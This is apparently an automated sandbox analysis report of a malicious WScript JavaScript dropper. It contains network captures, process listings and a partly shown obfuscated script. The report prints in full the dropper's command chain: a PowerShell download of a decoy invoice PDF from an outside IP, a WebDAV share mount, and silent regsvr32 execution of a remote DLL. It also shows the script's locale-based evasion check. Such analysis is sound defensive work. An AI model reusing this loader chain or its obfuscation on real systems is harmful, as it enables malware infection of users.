Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:07:23.324031115 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:07:24.090544939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:07:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:07:24.090595961 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:07:24.090629101 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:07:24.090660095 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 07:07:24.090692043 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 07:07:24.090723038 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 07:07:24.090754032 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 07:07:24.090785027 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 07:07:24.090816021 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 07:07:24.090850115 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 07:07:24.095709085 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1784	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:07:25.796821117 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:07:26.585920095 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:07:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:07:18
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js"
Imagebase:	0x7ff789b10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:07:19
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Imagebase:	0x7ff7027a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:07:19
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:07:19
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:07:24
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:07:24
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7027a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:07:24
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff746090000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:07:24
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:07:25
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:07:25
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1584,i,5818682069850965667,16294001736316317126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function efbzcyaer() {	efbzcyaer() ➔ undefined
1	rfanlyle = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var shbmolust = this[wmydbyff + iqtvdi + xyihat + fomey + fijzhpt + cofoxip + upngprvkv + kbvnh] ( this[uygai + auxny + vhnxxd + xyihat + hkrnmugoe + wmydbyff + kbvnh][gjgstf + xyihat + fijzhpt + iqtvdi + kbvnh + fijzhpt + cropnkd + fdtqnmp + ojvpgt + fijzhpt + vhnxxd + kbvnh] ( uygai + auxny + vhnxxd + xyihat + hkrnmugoe + wmydbyff + kbvnh + fbcrvrmyu + auxny + wmznn + fijzhpt + vzrjh + vzrjh ) [mwsfeir + fijzhpt + ajqvdgy + mwsfeir + fijzhpt + iqtvdi + ggergdyl] ( lrufoz + samyp + ukapn + clikzzs + mlrfbrxnn + gjgstf + urgjdpr + mwsfeir + mwsfeir + ukapn + bwrtb + ekuzbj + mlrfbrxnn + urgjdpr + auxny + ukapn + mwsfeir + dipmgkrd + gjgstf + prpjjxued + upngprvkv + kbvnh + xyihat + prpjjxued + vzrjh + oapqrvk + juwyqrgk + iqtvdi + upngprvkv + fijzhpt + vzrjh + dipmgkrd + cofoxip + upngprvkv + kbvnh + fijzhpt + xyihat + upngprvkv + iqtvdi + kbvnh + hkrnmugoe + prpjjxued + upngprvkv + iqtvdi + vzrjh + dipmgkrd + xivartc + prpjjxued + vhnxxd + iqtvdi + vzrjh + fijzhpt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hkokm = 0 ; hkokm < rfanlyle[vzrjh + fijzhpt + upngprvkv + ajqvdgy + kbvnh + wmznn] ; ++ hkokm )
4	{
5	if ( shbmolust == rfanlyle[hkokm] )
6	{
7	shbmolust = true;
8	break ;
9	}
10	}
11	if ( shbmolust !== true )
12	this[uygai + auxny + vhnxxd + xyihat + hkrnmugoe + wmydbyff + kbvnh][hojprxcro + zkaddnqcu + hkrnmugoe + kbvnh] ( );
13	this[uygai + auxny + vhnxxd + xyihat + hkrnmugoe + wmydbyff + kbvnh][gjgstf + xyihat + fijzhpt + iqtvdi + kbvnh + fijzhpt + cropnkd + fdtqnmp + ojvpgt + fijzhpt + vhnxxd + kbvnh] ( uygai + auxny + vhnxxd + xyihat + hkrnmugoe + wmydbyff + kbvnh + fbcrvrmyu + auxny + wmznn + fijzhpt + vzrjh + vzrjh ) [xyihat + zkaddnqcu + upngprvkv] ( vhnxxd + vxutktns + ggergdyl + oapqrvk + jvkegflo + vhnxxd + oapqrvk + wmydbyff + prpjjxued + vftlm + fijzhpt + xyihat + fomey + wmznn + fijzhpt + vzrjh + vzrjh + fbcrvrmyu + fijzhpt + eaewy + fijzhpt + oapqrvk + xtqdt + gjgstf + prpjjxued + vxutktns + vxutktns + iqtvdi + upngprvkv + ggergdyl + oapqrvk + uusgmbkom + cofoxip + upngprvkv + fdddtvjxb + prpjjxued + ssqzy + fijzhpt + xtqdt + uygai + fijzhpt + fdtqnmp + mwsfeir + fijzhpt + swzmjm + zkaddnqcu + fijzhpt + fomey + kbvnh + oapqrvk + xtqdt + cropnkd + zkaddnqcu + kbvnh + lzlobgbk + hkrnmugoe + vzrjh + fijzhpt + oapqrvk + gpahxl + kbvnh + fijzhpt + vxutktns + wmydbyff + gpahxl + dipmgkrd + hkrnmugoe + upngprvkv + fdddtvjxb + prpjjxued + hkrnmugoe + vhnxxd + fijzhpt + fbcrvrmyu + wmydbyff + ggergdyl + vpienif + oapqrvk + wmznn + kbvnh + kbvnh + wmydbyff + diobdix + jvkegflo + jvkegflo + pajtrs + vwajvr + uheqhnlna + fbcrvrmyu + pajtrs + wjraqnkvs + uheqhnlna + fbcrvrmyu + pajtrs + fbcrvrmyu + cfbigg + wsqzzf + dbuvoib + jvkegflo + hkrnmugoe + upngprvkv + fdddtvjxb + prpjjxued + hkrnmugoe + vhnxxd + fijzhpt + fbcrvrmyu + wmydbyff + wmznn + wmydbyff + uusgmbkom + arwigvuqp + arwigvuqp + fomey + kbvnh + iqtvdi + xyihat + kbvnh + oapqrvk + gpahxl + kbvnh + fijzhpt + vxutktns + wmydbyff + gpahxl + dipmgkrd + hkrnmugoe + upngprvkv + fdddtvjxb + prpjjxued + hkrnmugoe + vhnxxd + fijzhpt + fbcrvrmyu + wmydbyff + ggergdyl + vpienif + arwigvuqp + arwigvuqp + vhnxxd + vxutktns + ggergdyl + oapqrvk + jvkegflo + vhnxxd + oapqrvk + upngprvkv + fijzhpt + kbvnh + oapqrvk + zkaddnqcu + fomey + fijzhpt + oapqrvk + dipmgkrd + dipmgkrd + pajtrs + vwajvr + uheqhnlna + fbcrvrmyu + pajtrs + wjraqnkvs + uheqhnlna + fbcrvrmyu + pajtrs + fbcrvrmyu + cfbigg + wsqzzf + dbuvoib + faqhdwx + fdrduhdyd + fdrduhdyd + fdrduhdyd + fdrduhdyd + dipmgkrd + ggergdyl + iqtvdi + fdddtvjxb + vftlm + vftlm + vftlm + xyihat + prpjjxued + prpjjxued + kbvnh + dipmgkrd + arwigvuqp + arwigvuqp + vhnxxd + vxutktns + ggergdyl + oapqrvk + jvkegflo + vhnxxd + oapqrvk + xyihat + fijzhpt + ajqvdgy + fomey + fdddtvjxb + xyihat + uheqhnlna + cfbigg + oapqrvk + jvkegflo + fomey + oapqrvk + dipmgkrd + dipmgkrd + pajtrs + vwajvr + uheqhnlna + fbcrvrmyu + pajtrs + wjraqnkvs + uheqhnlna + fbcrvrmyu + pajtrs + fbcrvrmyu + cfbigg + wsqzzf + dbuvoib + faqhdwx + fdrduhdyd + fdrduhdyd + fdrduhdyd + fdrduhdyd + dipmgkrd + ggergdyl + iqtvdi + fdddtvjxb + vftlm + vftlm + vftlm + xyihat + prpjjxued + prpjjxued + kbvnh + dipmgkrd + pajtrs + uheqhnlna + dbuvoib + wjraqnkvs + fdrduhdyd + pajtrs + vwajvr + wsqzzf + pajtrs + dbuvoib + cfbigg + anhoo + dbuvoib + uheqhnlna + uheqhnlna + fbcrvrmyu + ggergdyl + vzrjh + vzrjh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll",0,false) ➔ 0
14	}
15	gjgstf = "o";
16	gjgstf = "Z";
17	gjgstf = "f";
18	gjgstf = "M";
19	gjgstf = "h";
20	gjgstf = "u";
21	gjgstf = "g";
22	gjgstf = "c";
23	gjgstf = "T";
24	gjgstf = "u";
25	gjgstf = "k";
26	gjgstf = "I";
27	gjgstf = "C";
28	ajqvdgy = "g";
29	ajqvdgy = "t";
30	ajqvdgy = "p";
31	ajqvdgy = "B";
32	ajqvdgy = "E";
33	ajqvdgy = "w";
34	ajqvdgy = "n";
35	ajqvdgy = "P";
36	ajqvdgy = "y";
37	ajqvdgy = "r";
38	ajqvdgy = "C";
39	ajqvdgy = "e";
40	ajqvdgy = "W";
41	ajqvdgy = "g";
42	ajqvdgy = "m";
43	ajqvdgy = "Z";
44	ajqvdgy = "Z";
45	ajqvdgy = "s";
46	ajqvdgy = "W";
47	ajqvdgy = "B";
48	ajqvdgy = "g";
49	ajqvdgy = "c";
50	ajqvdgy = "g";
51	arwigvuqp = "F";
52	arwigvuqp = "G";
53	arwigvuqp = "I";
54	arwigvuqp = "F";
55	arwigvuqp = "d";
56	arwigvuqp = "y";
57	arwigvuqp = "y";
58	arwigvuqp = "u";
59	arwigvuqp = "T";
60	arwigvuqp = "r";
61	arwigvuqp = "W";
62	arwigvuqp = "a";
63	arwigvuqp = "O";
64	arwigvuqp = "V";
65	arwigvuqp = "F";
66	arwigvuqp = "H";
67	arwigvuqp = "a";
68	arwigvuqp = "E";
69	arwigvuqp = "R";
70	arwigvuqp = "R";
71	arwigvuqp = "B";
72	arwigvuqp = "p";
73	arwigvuqp = "z";
74	arwigvuqp = "z";
75	arwigvuqp = "B";
76	arwigvuqp = "a";
77	arwigvuqp = "C";
78	arwigvuqp = "q";
79	arwigvuqp = "D";
80	arwigvuqp = "G";
81	arwigvuqp = "B";
82	arwigvuqp = "D";
83	arwigvuqp = "v";
84	arwigvuqp = "G";
85	arwigvuqp = "k";
86	arwigvuqp = "y";
87	arwigvuqp = "h";
88	arwigvuqp = "b";
89	arwigvuqp = "&";
90	fijzhpt = "p";
91	fijzhpt = "i";
92	fijzhpt = "u";
93	fijzhpt = "e";
94	fijzhpt = "z";
95	fijzhpt = "B";
96	fijzhpt = "x";
97	fijzhpt = "P";
98	fijzhpt = "B";
99	fijzhpt = "c";
100	fijzhpt = "L";
101	fijzhpt = "Z";
102	fijzhpt = "c";
103	fijzhpt = "m";
104	fijzhpt = "B";
105	fijzhpt = "r";
106	fijzhpt = "k";
107	fijzhpt = "A";
108	fijzhpt = "v";
109	fijzhpt = "m";
110	fijzhpt = "p";
111	fijzhpt = "B";
112	fijzhpt = "I";
113	fijzhpt = "C";
114	fijzhpt = "Y";
115	fijzhpt = "n";
116	fijzhpt = "c";
117	fijzhpt = "J";
118	fijzhpt = "l";
119	fijzhpt = "l";
120	fijzhpt = "M";
121	fijzhpt = "A";
122	fijzhpt = "e";
123	hkrnmugoe = "T";
124	hkrnmugoe = "z";
125	hkrnmugoe = "I";
126	hkrnmugoe = "Y";
127	hkrnmugoe = "n";
128	hkrnmugoe = "O";
129	hkrnmugoe = "N";
130	hkrnmugoe = "q";
131	hkrnmugoe = "d";
132	hkrnmugoe = "M";
133	hkrnmugoe = "L";
134	hkrnmugoe = "J";
135	hkrnmugoe = "q";
136	hkrnmugoe = "u";
137	hkrnmugoe = "Q";
138	hkrnmugoe = "t";
139	hkrnmugoe = "Z";
140	hkrnmugoe = "E";
141	hkrnmugoe = "H";
142	hkrnmugoe = "o";
143	hkrnmugoe = "v";
144	hkrnmugoe = "i";
145	wjraqnkvs = "C";
146	wjraqnkvs = "G";
147	wjraqnkvs = "4";
148	xyihat = "u";
149	xyihat = "q";
150	xyihat = "F";
151	xyihat = "B";
152	xyihat = "q";
153	xyihat = "r";
154	cofoxip = "A";
155	cofoxip = "a";
156	cofoxip = "z";
157	cofoxip = "M";
158	cofoxip = "o";
159	cofoxip = "H";
160	cofoxip = "k";
161	cofoxip = "R";
162	cofoxip = "Z";
163	cofoxip = "W";
164	cofoxip = "U";
165	cofoxip = "e";
166	cofoxip = "E";
167	cofoxip = "H";
168	cofoxip = "x";
169	cofoxip = "J";
170	cofoxip = "k";
171	cofoxip = "M";
172	cofoxip = "v";
173	cofoxip = "X";
174	cofoxip = "Q";
175	cofoxip = "s";
176	cofoxip = "I";
177	ekuzbj = "Z";
178	ekuzbj = "j";
179	ekuzbj = "a";
180	ekuzbj = "q";
181	ekuzbj = "f";
182	ekuzbj = "Q";
183	ekuzbj = "p";
184	ekuzbj = "A";
185	ekuzbj = "W";
186	ekuzbj = "l";
187	ekuzbj = "i";
188	ekuzbj = "W";
189	ekuzbj = "M";
190	ekuzbj = "H";
191	ekuzbj = "Q";
192	ekuzbj = "p";
193	ekuzbj = "G";
194	ekuzbj = "N";
195	ekuzbj = "y";
196	ekuzbj = "t";
197	ekuzbj = "v";
198	ekuzbj = "L";
199	ekuzbj = "f";
200	ekuzbj = "B";
201	ekuzbj = "D";
202	ekuzbj = "s";
203	ekuzbj = "w";
204	ekuzbj = "C";
205	ekuzbj = "G";
206	ekuzbj = "K";
207	ekuzbj = "L";
208	ekuzbj = "X";
209	ekuzbj = "x";
210	ekuzbj = "c";
211	ekuzbj = "w";
212	ekuzbj = "c";
213	ekuzbj = "y";
214	ekuzbj = "t";
215	ekuzbj = "T";
216	cropnkd = "x";
217	cropnkd = "z";
218	cropnkd = "r";
219	cropnkd = "i";
220	cropnkd = "j";
221	cropnkd = "x";
222	cropnkd = "B";
223	cropnkd = "K";
224	cropnkd = "q";
225	cropnkd = "H";
226	cropnkd = "K";
227	cropnkd = "O";
228	bwrtb = "A";
229	bwrtb = "x";
230	bwrtb = "G";
231	bwrtb = "U";
232	bwrtb = "d";
233	bwrtb = "N";
234	ssqzy = "S";
235	ssqzy = "N";
236	ssqzy = "F";
237	ssqzy = "w";
238	ssqzy = "W";
239	ssqzy = "z";
240	ssqzy = "C";
241	ssqzy = "o";
242	ssqzy = "r";
243	ssqzy = "X";
244	ssqzy = "J";
245	ssqzy = "f";
246	ssqzy = "b";
247	ssqzy = "Q";
248	ssqzy = "b";
249	ssqzy = "m";
250	ssqzy = "U";
251	ssqzy = "L";
252	ssqzy = "B";
253	ssqzy = "H";
254	ssqzy = "g";
255	ssqzy = "x";
256	ssqzy = "x";
257	ssqzy = "n";
258	ssqzy = "S";
259	ssqzy = "C";
260	ssqzy = "f";
261	ssqzy = "g";
262	ssqzy = "A";
263	ssqzy = "B";
264	ssqzy = "I";
265	ssqzy = "k";
266	ssqzy = "x";
267	ssqzy = "c";
268	ssqzy = "T";
269	ssqzy = "v";
270	ssqzy = "j";
271	ssqzy = "u";
272	ssqzy = "A";
273	ssqzy = "F";
274	ssqzy = "e";
